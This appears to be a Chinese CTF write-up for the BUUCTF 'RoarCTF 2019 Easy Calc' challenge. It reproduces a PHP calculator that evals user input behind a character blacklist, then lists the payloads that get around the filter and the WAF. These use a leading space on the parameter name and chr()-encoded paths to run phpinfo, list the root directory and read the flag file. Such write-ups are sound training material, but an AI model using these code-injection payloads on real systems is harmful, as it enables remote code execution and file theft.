Bootstrap

121,【5】 buuctf web [RoarCTF 2019] Easy Calc

进入靶场

尝试看看能不能得到源码

有信息

// 当id为calc的表单提交时,触发一个事件处理函数
$('#calc').submit(function(){
    // 使用jQuery的$.ajax方法发起一个异步HTTP请求
    $.ajax({
        // 请求的URL地址,将id为content的输入框的值进行URL编码后,作为参数num添加到calc.php的请求URL中
        url:"calc.php?num="+encodeURIComponent($("#content").val()),
        // 请求的类型为GET,意味着将数据附加在URL后面发送到服务器
        type:'GET',
        // 当请求成功时执行的回调函数
        success:function(data){
            // 将服务器返回的数据(通常是计算结果)插入到id为result的元素中
            // 使用HTML模板字符串创建一个带有成功提示样式的div元素,并将服务器返回的数据显示在其中
            $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
        },
        // 当请求失败时执行的回调函数
        error:function(){
            // 弹出一个警告框,提示用户输入的内容无法计算
            alert("这啥?算不来!");
        }
    })
    // 阻止表单的默认提交行为,避免页面刷新
    return false;
})

 发现calc.php

访问一下

新的代码

<?php
// 关闭所有 PHP 错误报告,避免在页面上显示错误信息,增强安全性和用户体验
error_reporting(0);

// 检查是否通过 GET 请求传递了名为 'num' 的参数
if(!isset($_GET['num'])){
    // 如果没有传递 'num' 参数,则显示当前文件(即本 PHP 文件)的源代码
    show_source(__FILE__);
}else{
    // 如果传递了 'num' 参数,将其值赋给变量 $str
    $str = $_GET['num'];
    // 定义一个黑名单数组,包含了一系列不允许出现在用户输入中的字符
    $blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '\[', '\]', '\$', '\\', '\^'];
    // 遍历黑名单数组中的每个元素
    foreach ($blacklist as $blackitem) {
        // 使用正则表达式匹配用户输入的字符串 $str 中是否包含黑名单中的字符
        if (preg_match('/' . $blackitem . '/m', $str)) {
            // 如果匹配到黑名单中的字符,终止脚本执行,并输出提示信息
            die("what are you want to do?");
        }
    }
    // 如果用户输入的字符串不包含黑名单中的字符,则使用 eval 函数执行用户输入的代码
    // eval 函数会将字符串作为 PHP 代码进行解析和执行,并将执行结果输出
    eval('echo '.$str.';');
}
?>

得知参数名为num,传递方式是get

开始尝试

?+num=phpinfo()

黑名单里有空格,而在url中 + 号通常会被当作空格来处理,phpinfo() 函数的主要功能是输出当前 PHP 环境的详细配置信息

成功了

?+num=print_r(scandir(chr(47)))

 

  • chr(47)chr() 是 PHP 的内置函数,它将 ASCII 码值转换为对应的字符。chr(47) 对应的 ASCII 字符是 /,在 Linux 或 macOS 系统中代表根目录。
  • scandir()scandir() 函数用于扫描指定目录中的文件和文件夹,并返回一个包含这些文件和文件夹名称的数组。所以 scandir(chr(47)) 实际上就是 scandir("/"),即扫描根目录并获取其下所有文件和文件夹的名称。
  • print_r()print_r() 用于以易于理解的格式输出变量的信息。

 

?+num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) 

得到flag 

 

;